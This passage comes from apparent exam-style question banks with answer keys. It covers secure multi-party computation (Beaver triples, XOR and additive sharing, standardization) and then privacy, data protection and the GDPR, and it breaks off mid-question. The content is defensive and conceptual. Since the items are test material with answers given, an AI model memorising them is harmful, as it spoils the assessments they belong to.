Lecture source: pp. 37-39, 49

Q214. [True / False] The triple values i and j are correlated with k but independent of the future private inputs a and b .

- A. True
- B. False

Answer: A. True

Why: The preprocessing randomness is generated before online inputs are applied.

Lecture source: p. 39

Q215. [Scenario] An implementation uses the same Beaver triple repeatedly for many secret inputs. What should a reviewer conclude?

- A. The design is secure only if all inputs are published
- B. The design is unrelated to privacy
- C. The design should be rejected because correlated randomness should not be reused
- D. The design is ideal because reuse always improves privacy

Answer: C. The design should be rejected because correlated randomness should not be reused

Why: Fresh preprocessing material is needed for independent secure evaluations.

Lecture source: pp. 39, 49

Q216. [Comparison] Which operation is generally cheaper under Boolean XOR sharing?

- A. XOR
- B. Arbitrary machine-learning inference in all cases
- C. AND
- D. Private set intersection in all cases

Answer: A. XOR

Why: XOR is local under Boolean sharing; AND needs extra protocol work.

Lecture source: pp. 27-39, 49

Q217. [Single answer] What makes Beaver triples useful for the online phase?

- A. They eliminate the need to define a function
- B. They publish all private inputs before execution
- C. They turn every output into a password
- D. They move part of the expensive correlated-randomness work into preprocessing

Answer: D. They move part of the expensive correlated-randomness work into preprocessing

Why: Precomputed triples support efficient online evaluation.

Lecture source: p. 39

Q218. [Scenario] A masked value $d = a \oplus i$ is opened. Under what condition is this appropriate?

- A. d is stored next to both shares of i in a public log
- B. a has already been published
- C. i is a fresh secret random mask generated as part of the protocol
- D. i is a reused public constant for every query

Answer: C. i is a fresh secret random mask generated as part of the protocol

Why: The privacy argument relies on fresh random masking.

Lecture source: p. 39

Q219. [Single answer] What is the high-level reason AND is called a multiplication-like operation for bits?

- A. AND is a network multiplication attack
- B. AND uses decimal floating-point values only
- C. For bits, AND always equals addition
- D. For bits, $a \text{ AND } b$ equals the product $a \cdot b$

Answer: D. For bits, $a \text{ AND } b$ equals the product $a \cdot b$

Why: Boolean AND behaves like multiplication over bits.

Lecture source: pp. 31, 37-39

Q220. [Misconception check] A student says, "If XOR is easy, every Boolean circuit gate is equally easy." What is the best correction?

- A. Boolean circuits cannot be evaluated securely
- B. XOR is local under Boolean sharing, but AND requires additional machinery such as Beaver triples
- C. Correct: every function is a single XOR
- D. Correct: AND and XOR require exactly the same work

Answer: B. XOR is local under Boolean sharing, but AND requires additional machinery such as Beaver triples

Why: Nonlinear operations are the important extra cost.

Lecture source: pp. 25-39, 49

7. Additive sharing, deployment, and standardization

24 questions. Answers appear immediately below each item.

Q221. [Single answer] How is a value x represented in simple additive secret sharing?

- A. $x = x_1 \text{ AND } x_2$ only
- B. $x = x_1 + x_2$
- C. $x = \text{NOT } x_1$
- D. $x = x_1 \text{ XOR } x_2$ only

Answer: B. $x = x_1 + x_2$

Why: The lecture introduces additive shares for more complicated arithmetic functions.

Lecture source: p. 41

Q222. [Comparison] Which sharing style is especially natural for arithmetic aggregation?

- A. Plaintext publishing
- B. Only Boolean XOR sharing
- C. Additive secret sharing
- D. DNS caching

Answer: C. Additive secret sharing

Why: Additive shares align naturally with sums and arithmetic functions.

Lecture source: p. 41

Q223. [Comparison] Which sharing style is especially natural for Boolean XOR gates?

- A. Only additive decimal sharing
- B. Boolean XOR sharing
- C. URL redirection
- D. Plaintext publishing

Answer: B. Boolean XOR sharing

Why: Boolean sharing makes XOR trivial.

Lecture source: pp. 27-28, 37, 49

Q224. [Scenario] Several parties want to compute a sum of private values. Which representation is a natural starting point?

- A. Additive secret sharing
- B. A password dictionary
- C. A single reused Beaver triple for every calculation
- D. A public plaintext list

Answer: A. Additive secret sharing

Why: Arithmetic sums can be represented with additive shares.

Lecture source: p. 41

Q225. [Select all that apply] Which applications are mentioned as possible MPC computations? Select all that apply.

- A. AES evaluation
- B. Hash-function evaluation
- C. Message authentication code evaluation
- D. Publishing every raw secret
- E. Secure machine learning

Answer: A. AES evaluation; B. Hash-function evaluation; C. Message authentication code evaluation; E. Secure machine learning

Why: The lecture lists cryptographic functions and secure ML as MPC application areas.

Lecture source: p. 41

Q226. [Single answer] Why is cryptographic standardization important for interoperability?

- A. It requires every vendor to expose private keys
- B. It prevents all possible implementation bugs
- C. It removes the need for protocol review
- D. Different vendors need compatible implementations

Answer: D. Different vendors need compatible implementations

Why: Standards support implementations that work together.

Lecture source: p. 44

Q227. [Single answer] Why can public expert review improve security assurance?

- A. It reduces the risk of hidden weaknesses by subjecting designs to scrutiny
- B. It makes threat modeling unnecessary
- C. It requires publishing user secrets
- D. It guarantees that no attack will ever exist

Answer: A. It reduces the risk of hidden weaknesses by subjecting designs to scrutiny

Why: Standard review improves assurance but is not a mathematical guarantee of perfection.

Lecture source: p. 44

Q228. [Single answer] Why does standardization support deployment at scale?

- A. Standards eliminate the need for key management
- B. Governments and industry often require standardized cryptography for regulation, certification, and procurement
- C. Only unreviewed algorithms can be deployed widely
- D. Standardized algorithms need no implementation

Answer: B. Governments and industry often require standardized cryptography for regulation, certification, and procurement

Why: Procurement and compliance frequently depend on standards.

Lecture source: p. 44

Q229. [Single answer] What longevity benefit can standardization provide?

- A. The algorithm becomes immune to every future attack
- B. The algorithm no longer needs implementations
- C. A reviewed algorithm can be used consistently worldwide for many years
- D. The algorithm can never be replaced

Answer: C. A reviewed algorithm can be used consistently worldwide for many years

Why: Standards help sustain broad long-term adoption.

Lecture source: p. 44

Q230. [True / False] Standardization is a substitute for secure implementation, key management, and ongoing review.

- A. False
- B. True

Answer: A. False

Why: A standard improves assurance and interoperability but does not eliminate deployment responsibilities.

Lecture source: pp. 43-46

Q231. [Single answer] Which organization is highlighted as working on multi-party threshold cryptography standardization?

- A. A URL-shortening service
- B. A local printer driver
- C. A random social-media platform
- D. NIST

Answer: D. NIST

Why: The lecture references the NIST multi-party threshold cryptography project.

Lecture source: pp. 45-46

Q232. [Misconception check] A team says, "Because a cryptographic technique is standardized, our implementation cannot fail." What is the best response?

- A. Correct: standardized systems do not need testing
- B. Correct: key protection is optional
- C. Correct: standardization eliminates all risk
- D. Standards help, but implementation, configuration, assumptions, and operational controls still matter

Answer: D. Standards help, but implementation, configuration, assumptions, and operational controls still matter

Why: Standardization is valuable but not sufficient on its own.

Lecture source: pp. 43-46

Q233. [Calculation] Additive-sharing drill 1: x is represented as $x_1=7$ and $x_2=5$. What is x ?

- A. 13
- B. 12
- C. 35
- D. 2

Answer: B. 12

Why: Reconstruct by addition: $7+5=12$.

Lecture source: p. 41

Q234. [Calculation] Additive-sharing drill 2: x is represented as $x_1=10$ and $x_2=3$. What is x ?

- A. 14
- B. 13
- C. 30
- D. 7

Answer: B. 13

Why: Reconstruct by addition: $10+3=13$.

Lecture source: p. 41

Q235. [Calculation] Additive-sharing drill 3: x is represented as $x_1=0$ and $x_2=9$. What is x ?

- A. 0
- B. 11
- C. 10
- D. 9

Answer: D. 9

Why: Reconstruct by addition: $0+9=9$.

Lecture source: p. 41

Q236. [Calculation] Additive-sharing drill 4: x is represented as $x_1=14$ and $x_2=6$. What is x?

- A. 20
- B. 8
- C. 21
- D. 84

Answer: A. 20

Why: Reconstruct by addition: $14+6=20$.

Lecture source: p. 41

Q237. [Calculation] Additive-sharing drill 5: x is represented as $x_1=21$ and $x_2=4$. What is x?

- A. 17
- B. 25
- C. 26
- D. 84

Answer: B. 25

Why: Reconstruct by addition: $21+4=25$.

Lecture source: p. 41

Q238. [Calculation] Additive-sharing drill 6: x is represented as $x_1=8$ and $x_2=8$. What is x?

- A. 17
- B. 64
- C. 16
- D. 0

Answer: C. 16

Why: Reconstruct by addition: $8+8=16$.

Lecture source: p. 41

Q239. [Calculation] Additive-sharing drill 7: x is represented as $x_1=31$ and $x_2=2$. What is x?

- A. 62
- B. 29
- C. 34
- D. 33

Answer: D. 33

Why: Reconstruct by addition: $31+2=33$.

Lecture source: p. 41

Q240. [Calculation] Additive-sharing drill 8: x is represented as $x_1=12$ and $x_2=19$. What is x?

- A. 7
- B. 31
- C. 32
- D. 228

Answer: B. 31

Why: Reconstruct by addition: $12+19=31$.

Lecture source: p. 41

Q241. [Select all that apply] Which are benefits of using reviewed cryptographic standards? Select all that apply.

- A. Interoperability
- B. A guarantee that no future review is needed
- C. Security assurance through scrutiny
- D. Longevity
- E. Deployment at scale

Answer: A. Interoperability; C. Security assurance through scrutiny; D. Longevity; E. Deployment at scale

Why: The lecture lists these four standardization benefits.

Lecture source: p. 44

Q242. [Scenario] A public-sector procurement requires a threshold-cryptography solution that aligns with emerging guidance. What should the team monitor?

- A. A public list of client secrets
- B. Relevant NIST standardization work
- C. Only the user-interface theme
- D. Only informal forum posts

Answer: B. Relevant NIST standardization work

Why: The lecture points to NIST multi-party threshold cryptography work.

Lecture source: pp. 45-46

Q243. [True / False] MPC techniques can be applied to cryptographic functions such as AES, hash functions, and MACs.

- A. True
- B. False

Answer: A. True

Why: These are listed application examples.

Lecture source: p. 41

Q244. [Scenario] A company wants privacy-preserving machine learning. Which statement is most accurate?

- A. Only physical security controls matter
- B. Every model requires raw data publication
- C. MPC is irrelevant because machine learning never uses functions
- D. MPC can be relevant because arithmetic and Boolean operations can be evaluated over shares

Answer: D. MPC can be relevant because arithmetic and Boolean operations can be evaluated over shares

Why: Secure ML is a natural application of protected function evaluation.

Lecture source: pp. 7, 17, 41

8. Integrated scenarios and misconception checks

20 questions. Answers appear immediately below each item.

Q245. [Scenario] Two banks want to identify shared fraud indicators without exposing unrelated customer records. Which design is most appropriate?

- A. Exchange complete customer databases by email
- B. Use a single reused random mask for all customers
- C. Publish all records to simplify analysis
- D. Use a privacy-preserving intersection protocol and release only the authorized overlap

Answer: D. Use a privacy-preserving intersection protocol and release only the authorized overlap

Why: Private set intersection and output minimization fit the requirement.

Lecture source: pp. 5-7, 35

Q246. [Scenario] A matching protocol is implemented with a single central server that receives both users' raw preference bits. What security model is this closest to?

- A. A secure XOR gate with independent shares
- B. A threshold standardization process
- C. Two-server secret-sharing MPC
- D. Trusted-third-party computation

Answer: D. Trusted-third-party computation

Why: A central party that sees both inputs must be trusted.

Lecture source: pp. 22-24

Q247. [Scenario] A developer needs to calculate XOR of shared bits inside a larger MPC circuit. What is the usual efficient approach?

- A. Open both secrets first
- B. Publish every share
- C. Each server locally XORs its corresponding shares
- D. Generate a Beaver triple for XOR in every case

Answer: C. Each server locally XORs its corresponding shares

Why: XOR is local under Boolean XOR sharing.

Lecture source: pp. 27-28, 37, 49

Q248. [Scenario] A developer needs to calculate AND of shared bits inside a larger MPC circuit. What additional mechanism is useful?

- A. A firewall allow-list
- B. A DNS cache flush
- C. A URL shortener
- D. A Beaver triple

Answer: D. A Beaver triple

Why: AND is the nonlinear operation supported by correlated triples.

Lecture source: pp. 37-39, 49

Q249. [Misconception check] A student says, "A Boolean share is just a smaller secret, so leaking one share leaks half the information." What is the best response?

- A. Correct: one share always reveals half a bit
- B. A properly randomized individual XOR share reveals no information about the secret bit by itself
- C. Shares are unrelated to reconstruction
- D. Correct: one share always equals the secret

Answer: B. A properly randomized individual XOR share reveals no information about the secret bit by itself

Why: Either secret is compatible with either individual share.

Lecture source: p. 37

Q250. [Misconception check] A student says, "If the protocol outputs one bit, privacy is automatically perfect." What is the best response?

- A. Even one bit can reveal sensitive information or enable inference, especially across repeated queries
- B. The protocol should instead publish all inputs
- C. Correct: one bit is not information
- D. Correct: one-bit outputs can never leak anything

Answer: A. Even one bit can reveal sensitive information or enable inference, especially across repeated queries

Why: Output leakage and query governance still matter.

Lecture source: pp. 5-7, 35

Q251. [Scenario] A two-server deployment uses independent infrastructure providers and separates administrative credentials. Which protocol assumption is the design trying to support?

- A. The servers should not collude or be compromised together
- B. Every server should learn every raw input
- C. Random masks should be reused
- D. The result should be public

Answer: A. The servers should not collude or be compromised together

Why: Operational separation supports distributed trust.

Lecture source: pp. 24-28, 37-39

Q252. [Scenario] A system computes $d = a \text{ XOR } i$ using the same i for thousands of queries. What is the best assessment?

- A. The repeated mask can create privacy risk and should be replaced with fresh randomness
- B. The system becomes a standard automatically
- C. The design is ideal because reuse always strengthens privacy
- D. The value d no longer depends on a

Answer: A. The repeated mask can create privacy risk and should be replaced with fresh randomness

Why: Fresh masks are important for protecting online values.

Lecture source: p. 39

Q253. [Sequence] Which is the most sensible design workflow for an MPC application?

- A. Define the permitted function and output, identify privacy assumptions, select a protocol and sharing model, then review deployment and leakage risks
- B. Store both shares together and remove access control
- C. Publish inputs, choose a random company name, and skip threat modeling
- D. Select a standard and assume every output is safe

Answer: A. Define the permitted function and output, identify privacy assumptions, select a protocol and sharing model, then review deployment and leakage risks

Why: Secure deployment requires function design, protocol selection, assumptions, and output governance.

Lecture source: pp. 3-7, 14-17, 35, 37-46

Q254. [Scenario] A protocol returns the average score across several participants. Which output-governance question is most relevant?

- A. Could the average, combined with other information or repeated queries, reveal an individual score?
- B. Should every participant receive all raw scores automatically?
- C. Does addition eliminate privacy concerns?
- D. Can the average replace authentication?

Answer: A. Could the average, combined with other information or repeated queries, reveal an individual score?

Why: Aggregates can still leak sensitive information in small groups or through repeated queries.

Lecture source: pp. 7, 35

Q255. [Scenario] A private ML service must evaluate both linear operations and nonlinear Boolean conditions. Which combination is most relevant?

- A. Only a URL shortener
- B. Only public plaintext values
- C. Additive sharing for arithmetic and Beaver-triple-assisted operations for nonlinear steps
- D. Only a firewall rule

Answer: C. Additive sharing for arithmetic and Beaver-triple-assisted operations for nonlinear steps

Why: Different operations benefit from different sharing and protocol techniques.

Lecture source: pp. 37-41, 49

Q256. [True / False] MPC should be treated as one security layer rather than a complete replacement for access control, monitoring, and governance.

- A. False
- B. True

Answer: B. True

Why: MPC protects computation but does not replace broader security controls.

Lecture source: pp. 14-17, 35, 43-46

Q257. [Scenario] A service provider markets its system as "MPC" but sends raw client inputs to every server. What should an auditor request?

- A. A promise that the output is useful
- B. Only a screenshot of the marketing page
- C. A protocol explanation showing how inputs are protected and which party can reconstruct them
- D. A list of unrelated network ports

Answer: C. A protocol explanation showing how inputs are protected and which party can reconstruct them

Why: Claims should be validated against actual data flows, shares, and trust assumptions.

Lecture source: pp. 14-16, 37-39

Q258. [Scenario] A team wants to use MPC for an auction winner calculation. Which function is most relevant?

- A. XOR of every network packet
- B. argmax over the private bids or scores
- C. A public database dump
- D. NOT applied to every bid

Answer: B. argmax over the private bids or scores

Why: Winner determination is naturally represented as argmax.

Lecture source: p. 7

Q259. [Scenario] A team wants to check whether two private lists overlap. Which result should normally be minimized?

- A. Release only the authorized intersection or membership answer
- B. Release both full lists
- C. Release every intermediate mask
- D. Release every server credential

Answer: A. Release only the authorized intersection or membership answer

Why: Result minimization limits disclosure.

Lecture source: pp. 5-7, 35

Q260. [Misconception check] A developer says, "Because a AND b is a simple function, sending a and b to one server is equivalent to MPC." What is the best correction?

- A. The computed result may be the same, but the privacy and trust properties are different
- B. The AND function cannot be calculated by any server
- C. Correct: privacy properties never matter
- D. Correct: a single server automatically creates independent shares

Answer: A. The computed result may be the same, but the privacy and trust properties are different

Why: MPC is about the security of the computation process, not only the numeric output.

Lecture source: pp. 22-24, 37-39

Q261. [Scenario] A standard has undergone public review. What should a deployment team do next?

- A. Publish all private shares
- B. Reuse randomness to reduce storage
- C. Implement it carefully, protect keys or shares, test the system, and keep monitoring assumptions
- D. Assume no further security work is required

Answer: C. Implement it carefully, protect keys or shares, test the system, and keep monitoring assumptions

Why: Standards help but do not replace secure engineering.

Lecture source: pp. 43-46

Q262. [True / False] Boolean sharing and Beaver triples form useful building blocks for larger secure-computation systems.

- A. False
- B. True

Answer: B. True

Why: The lecture summary identifies them as backbone techniques.

Lecture source: p. 49

Q263. [Scenario] A team considers storing two server shares in separate databases but backing both up into the same unencrypted archive. What is the main risk?

- A. The shares can no longer be XORed
- B. The result becomes an average automatically
- C. The archive may combine both shares and allow reconstruction of the secret
- D. The standardization process stops

Answer: C. The archive may combine both shares and allow reconstruction of the secret

Why: Separation must be maintained throughout storage, backup, and operations.

Lecture source: p. 37

Q264. [Final review] Which statement best summarizes the lecture?

- A. MPC eliminates the need for standards and deployment controls
- B. MPC publishes all inputs and hides only the output
- C. MPC is only a historical topic with no real-world applications
- D. MPC uses protected representations such as shares to compute useful functions while limiting disclosure; XOR is simple under Boolean sharing, and Beaver triples support AND or multiplication

Answer: D. MPC uses protected representations such as shares to compute useful functions while limiting disclosure; XOR is simple under Boolean sharing, and Beaver triples support AND or multiplication

Why: This captures the main conceptual flow and the summary slide.

Lecture source: p. 49

Lecture 11 - Privacy, Data Protection, and the GDPR

Cleaned exam-style MCQ question bank

303 questions. Every item includes its correct answer and a concise explanation immediately below the options.

Exam-style rule: the source lecture defines the examinable scope, but the questions are phrased as normal privacy, data-protection, GDPR, anonymization, and privacy-engineering exam questions. Speaker details, dates, reference-list trivia, screenshot recall, figure-number recall, and questions asking where an item appeared in the lecture are excluded.

Legal note for revision: the lecture states that some aspects of the GDPR may change through ongoing EU negotiations. The bank focuses primarily on stable concepts and on the lecture's stated framework. It is a study aid, not legal advice.

Source-page references are study-navigation aids only; they are not part of the exam-style wording.

Coverage map

Section	Questions
1. Privacy, confidentiality, and data-protection foundations	28
2. GDPR scope, governance, roles, and international reach	29
3. Legal bases, processing principles, and risk-appropriate security	35
4. Privacy engineering, privacy-by-design, and assessment frameworks	29
5. Pseudonymization, anonymity, and de-identification	21
6. Aggregation, re-coding, k-anonymity, l-diversity, and randomization	33
7. Data-subject rights and software-functional requirements	22
8. Logging, backups, architecture, development data, and documentation	16
9. DPIAs, DPOs, breach notification, and organizational duties	13
10. Integrated exam scenarios and misconception checks	77
Total	303

Searchable quick reference - foundations and GDPR anchors

Item	Meaning
Privacy	A broad human-centered legal and philosophical concept; confidentiality is one component
Data protection	Overlaps with privacy but is not identical; controls personal-data processing
Personal data	Information relating to an identified or identifiable natural person
Processing	Broad set of automated or manual operations, including collection, storage, use, restriction, and erasure
Controller	Determines the purpose and essential means of processing
Processor	Processes personal data on behalf of a controller
Legal bases	Consent, contract, legal obligations, vital interests, public interests, legitimate interests
Core principles	Lawfulness, fairness, transparency, purpose limitation, minimization, accuracy, limited retention, security, accountability
Article 32-style security	Technical and organizational measures appropriate to risk
Breach response	Supervisory notification without undue delay, where feasible within 72 hours; affected-person communication for high-risk breaches

Searchable quick reference - privacy engineering and de-identification

Item	Meaning
Privacy-by-design	Proactive, default-protective, embedded, positive-sum, lifecycle-oriented, transparent, user-centric
Pseudonymization	Reversible de-identification with protected additional information; not strict anonymization
Anonymization	Aims for irreversible de-identification
Singling out	Isolating a record relating to an individual
Linkability	Connecting multiple records or actions
Inference	Predicting an attribute from other attributes
k-anonymity	Each subject is indistinguishable from at least $k - 1$ others; basic re-identification probability $1/k$
l-diversity	Adds sensitive-attribute diversity within k-anonymous groups
Randomization	Adds noise; must consider correlation, bounds, sparsity, and linkability
Development data	Prefer synthetic data when raw personal data is not necessary

Searchable quick reference - data-subject rights and engineering implications

Item	Meaning
Information	Provide understandable processing and breach information where required
Access	Allow users to view registered personal data
Rectification	Support correction of inaccurate personal data
Erasure	Support deletion where the right applies
Withdrawal of consent	Stop consent-based processing where no other basis applies; deletion may follow
Restrictions and objections	Propagate restrictions across relevant services and prevent disallowed processing
Portability	Provide usable machine-readable exports such as JSON or CSV where applicable
Individual decision-making	Provide appropriate human involvement for important decisions where required
Traceability	Log justified processing, requests, transfers, disclosures, safeguards, and fulfillment
Architecture	Use compartmentalization, isolation, coordinated workflows, and documentation proportionate to the system

1. Privacy, confidentiality, and data-protection foundations

28 questions. Correct answers and explanations appear immediately below each item.

Q1. [Single answer] Which statement best captures the relationship between privacy and confidentiality?

- A. Privacy applies only to encrypted files, whereas confidentiality applies only to people
- B. Confidentiality is broader because it includes every legal aspect of personal life
- C. Confidentiality is a component of privacy, but privacy is broader than confidentiality
- D. Privacy and confidentiality are identical concepts

Answer: C. Confidentiality is a component of privacy, but privacy is broader than confidentiality

Why: Privacy concerns people and multiple dimensions of personal life. Confidentiality is important, but it does not exhaust the privacy concept.

Lecture source: pp. 4-7

Q2. [Single answer] Which statement best describes the relationship between privacy and data protection?

- A. They overlap, but neither concept is identical to the other
- B. Privacy is a technical synonym for database encryption
- C. Data protection is relevant only to anonymous information
- D. Data protection matters only after a privacy violation has occurred

Answer: A. They overlap, but neither concept is identical to the other

Why: Data-protection requirements can apply even where there is no direct privacy interference. The concepts overlap but are not interchangeable.

Lecture source: pp. 5-7

Q3. [Scenario] A company encrypts customer records but collects far more information than necessary and keeps the records forever. Which conclusion is most accurate?

- A. Encryption automatically guarantees privacy and lawful processing
- B. The company no longer needs a purpose for collecting the records
- C. Retention is irrelevant once confidentiality is protected
- D. Encryption helps confidentiality, but the design may still violate broader privacy and data-protection expectations

Answer: D. Encryption helps confidentiality, but the design may still violate broader privacy and data-protection expectations

Why: Confidentiality is only one part of privacy and data protection. Minimization, purpose limitation, and retention remain relevant.

Lecture source: pp. 5-7, 11, 28

Q4. [Comparison] Which perspective is most closely associated with confidentiality, encryption, and anonymization?

- A. A perspective that denies any relationship between security and privacy
- B. A perspective limited to workplace collective bargaining
- C. A perspective that treats all personal-data processing as criminal law
- D. A computer-science perspective emphasizing protection against unwanted access and concealment

Answer: D. A computer-science perspective emphasizing protection against unwanted access and concealment

Why: The lecture links computer-science treatments of privacy especially to shielding from unwanted access and concealing matters from others.

Lecture source: pp. 4-5

Q5. [Comparison] Which perspective most directly emphasizes control over personal information?

- A. Availability engineering only
- B. Packet fragmentation
- C. Network routing
- D. Data protection

Answer: D. Data protection

Why: Data protection particularly emphasizes control over personal information, personality, dignity, and aspects of life.

Lecture source: pp. 4-5

Q6. [EXCEPT / NOT] Which is NOT a reasonable dimension of privacy?

- A. A right to shield oneself from unwanted access
- B. Control over personal information
- C. A guarantee that every service must retain personal data indefinitely
- D. Protection of dignity and individuality

Answer: C. A guarantee that every service must retain personal data indefinitely

Why: Indefinite storage conflicts with data-protection and privacy principles rather than expressing a privacy dimension.

Lecture source: pp. 4-5, 11

Q7. [Select all that apply] Which statements about privacy are accurate? Select all that apply.

- A. Privacy is a philosophical and legal concept
- B. Privacy has spatial and physiological dimensions as well as informational dimensions
- C. Privacy is a fundamental human right
- D. Confidentiality alone is always sufficient for privacy
- E. Security and data protection are both necessary for privacy

Answer: A. Privacy is a philosophical and legal concept; B. Privacy has spatial and physiological dimensions as well as informational dimensions; C. Privacy is a fundamental human right; E. Security and data protection are both necessary for privacy

Why: Privacy is broader than confidentiality and includes multiple dimensions. Security and data protection are necessary but not synonymous with privacy.

Lecture source: pp. 4-9

Q8. [True / False] A data-protection requirement can apply even when no privacy violation has yet occurred.

- A. True
- B. False

Answer: A. True

Why: Data-protection obligations such as accuracy and security may apply independently of a demonstrated privacy interference.

Lecture source: p. 7

Q9. [True / False] Confidentiality and privacy are interchangeable terms.

- A. False
- B. True

Answer: A. False

Why: Confidentiality is part of privacy, but privacy is a broader human-centered legal and philosophical concept.

Lecture source: pp. 5-7

Q10. [True / False] Privacy can include spatial matters such as public spaces and private property.

- A. False
- B. True

Answer: B. True

Why: The lecture notes spatial privacy as one of the further dimensions.

Lecture source: p. 9

Q11. [True / False] Workplace privacy issues are necessarily governed only by the GDPR and never by separate laws.

- A. True
- B. False

Answer: B. False

Why: Employment and workplace privacy aspects may be covered by separate laws.

Lecture source: p. 9

Q12. [Scenario] Which commonplace privacy failure is best illustrated by this situation: A service retains detailed user records indefinitely even after the original purpose has ended?

- A. Risk-agnostic data processing
- B. Storing data forever
- C. Reusing data indiscriminately
- D. Walled gardens and black markets

Answer: B. Storing data forever

Why: The scenario matches storing data forever.

Lecture source: pp. 11, 28, 38

Q13. [Defensive design] A development team discovers the following problem: A service retains detailed user records indefinitely even after the original purpose has ended. Which corrective direction is most appropriate?

- A. Keep the design unchanged because technical security and privacy are unrelated
- B. Introduce justified retention periods and delete records when no longer needed
- C. Publish all affected personal data to improve transparency
- D. Remove every audit mechanism regardless of processing risk

Answer: B. Introduce justified retention periods and delete records when no longer needed

Why: The appropriate response is to address the underlying privacy risk: introduce justified retention periods and delete records when no longer needed.

Lecture source: pp. 11, 28, 38

Q14. [Scenario] Which commonplace privacy failure is best illustrated by this situation: A dataset collected for customer support is later used for unrelated profiling without a justified basis?

- A. Risk-agnostic data processing
- B. Walled gardens and black markets
- C. Storing data forever
- D. Reusing data indiscriminately

Answer: D. Reusing data indiscriminately

Why: The scenario matches reusing data indiscriminately.

Lecture source: pp. 11, 26, 28

Q15. [Defensive design] A development team discovers the following problem: A dataset collected for customer support is later used for unrelated profiling without a justified basis. Which corrective direction is most appropriate?

- A. Publish all affected personal data to improve transparency
- B. Remove every audit mechanism regardless of processing risk
- C. Respect purpose limitation and assess a lawful basis for any new use
- D. Keep the design unchanged because technical security and privacy are unrelated

Answer: C. Respect purpose limitation and assess a lawful basis for any new use

Why: The appropriate response is to address the underlying privacy risk: respect purpose limitation and assess a lawful basis for any new use.

Lecture source: pp. 11, 26, 28

Q16. [Scenario] Which commonplace privacy failure is best illustrated by this situation: A platform restricts user control while data circulates through opaque third-party markets?

- A. Risk-agnostic data processing
- B. Walled gardens and black markets
- C. Reusing data indiscriminately
- D. Storing data forever

Answer: B. Walled gardens and black markets

Why: The scenario matches walled gardens and black markets.

Lecture source: pp. 11, 39

Q17. [Defensive design] A development team discovers the following problem: A platform restricts user control while data circulates through opaque third-party markets. Which corrective direction is most appropriate?

- A. Keep the design unchanged because technical security and privacy are unrelated
- B. Publish all affected personal data to improve transparency
- C. Remove every audit mechanism regardless of processing risk
- D. Improve transparency, lawful sharing controls, and user rights

Answer: D. Improve transparency, lawful sharing controls, and user rights

Why: The appropriate response is to address the underlying privacy risk: improve transparency, lawful sharing controls, and user rights.

Lecture source: pp. 11, 39

Q18. [Scenario] Which commonplace privacy failure is best illustrated by this situation: A team deploys high-risk profiling without evaluating possible harm to natural persons?

- A. Reusing data indiscriminately
- B. Risk-agnostic data processing
- C. Storing data forever
- D. Walled gardens and black markets

Answer: B. Risk-agnostic data processing

Why: The scenario matches risk-agnostic data processing.

Lecture source: pp. 11, 33, 73

Q19. [Defensive design] A development team discovers the following problem: A team deploys high-risk profiling without evaluating possible harm to natural persons. Which corrective direction is most appropriate?

- A. Keep the design unchanged because technical security and privacy are unrelated
- B. Perform risk analysis and, where required, a data-protection impact assessment
- C. Remove every audit mechanism regardless of processing risk
- D. Publish all affected personal data to improve transparency

Answer: B. Perform risk analysis and, where required, a data-protection impact assessment

Why: The appropriate response is to address the underlying privacy risk: perform risk analysis and, where required, a data-protection impact assessment.

Lecture source: pp. 11, 33, 73

Q20. [Scenario] Which commonplace privacy failure is best illustrated by this situation: An organization conceals a breach instead of following notification duties?

- A. Hidden data breaches
- B. Walled gardens and black markets
- C. Reusing data indiscriminately
- D. Storing data forever

Answer: A. Hidden data breaches

Why: The scenario matches hidden data breaches.

Lecture source: pp. 11, 61, 75

Q21. [Defensive design] A development team discovers the following problem: An organization conceals a breach instead of following notification duties. Which corrective direction is most appropriate?

- A. Implement breach-response procedures and comply with notification obligations
- B. Publish all affected personal data to improve transparency
- C. Remove every audit mechanism regardless of processing risk
- D. Keep the design unchanged because technical security and privacy are unrelated

Answer: A. Implement breach-response procedures and comply with notification obligations

Why: The appropriate response is to address the underlying privacy risk: implement breach-response procedures and comply with notification obligations.

Lecture source: pp. 11, 61, 75

Q22. [Scenario] Which commonplace privacy failure is best illustrated by this situation: An automated service makes significant decisions but cannot provide meaningful transparency or review?

- A. Unexplainable decisions
- B. Reusing data indiscriminately
- C. Storing data forever
- D. Walled gardens and black markets

Answer: A. Unexplainable decisions

Why: The scenario matches unexplainable decisions.

Lecture source: pp. 11, 61-63

Q23. [Defensive design] A development team discovers the following problem: An automated service makes significant decisions but cannot provide meaningful transparency or review. Which corrective direction is most appropriate?

- A. Publish all affected personal data to improve transparency
- B. Design transparency and human-review mechanisms where appropriate
- C. Remove every audit mechanism regardless of processing risk
- D. Keep the design unchanged because technical security and privacy are unrelated

Answer: B. Design transparency and human-review mechanisms where appropriate

Why: The appropriate response is to address the underlying privacy risk: design transparency and human-review mechanisms where appropriate.

Lecture source: pp. 11, 61-63

Q24. [Scenario] Which commonplace privacy failure is best illustrated by this situation: A product team treats access controls and resilience as optional afterthoughts?

- A. Storing data forever
- B. Security as a secondary goal
- C. Reusing data indiscriminately
- D. Walled gardens and black markets

Answer: B. Security as a secondary goal

Why: The scenario matches security as a secondary goal.

Lecture source: pp. 11, 33, 36

Q25. [Defensive design] A development team discovers the following problem: A product team treats access controls and resilience as optional afterthoughts. Which corrective direction is most appropriate?

- A. Publish all affected personal data to improve transparency
- B. Remove every audit mechanism regardless of processing risk
- C. Integrate security and privacy-by-design throughout the lifecycle
- D. Keep the design unchanged because technical security and privacy are unrelated

Answer: C. Integrate security and privacy-by-design throughout the lifecycle

Why: The appropriate response is to address the underlying privacy risk: integrate security and privacy-by-design throughout the lifecycle.

Lecture source: pp. 11, 33, 36

Q26. [Scenario] A biometric system accurately recognizes employees but processes fingerprints without sufficient safeguards. Which statement is most accurate?

- A. Biometric accuracy automatically establishes lawful processing
- B. Accuracy alone does not establish privacy or lawful processing
- C. Security measures are irrelevant when recognition accuracy is high
- D. Biometric data can never be personal data

Answer: B. Accuracy alone does not establish privacy or lawful processing

Why: Privacy and data-protection obligations remain relevant even when the system performs accurately.

Lecture source: pp. 5, 20, 28, 33

Q27. [Scenario] A location-tracking application does not reveal names but continuously maps a person's movements. Which broad principle is most appropriate?

- A. Encryption removes every need for minimization
- B. Location data is automatically anonymous
- C. Privacy concerns can exist even without disclosing a traditional name field
- D. Only names can create privacy concerns

Answer: C. Privacy concerns can exist even without disclosing a traditional name field

Why: Privacy covers more than direct identifiers, and identifiable location traces may be personal data.

Lecture source: pp. 4-9, 19, 43

Q28. [Single answer] Which statement is most accurate about fundamental-rights perspectives?

- A. Fundamental rights matter only after an enforcement fine
- B. A single encryption algorithm fully defines the legal scope of privacy
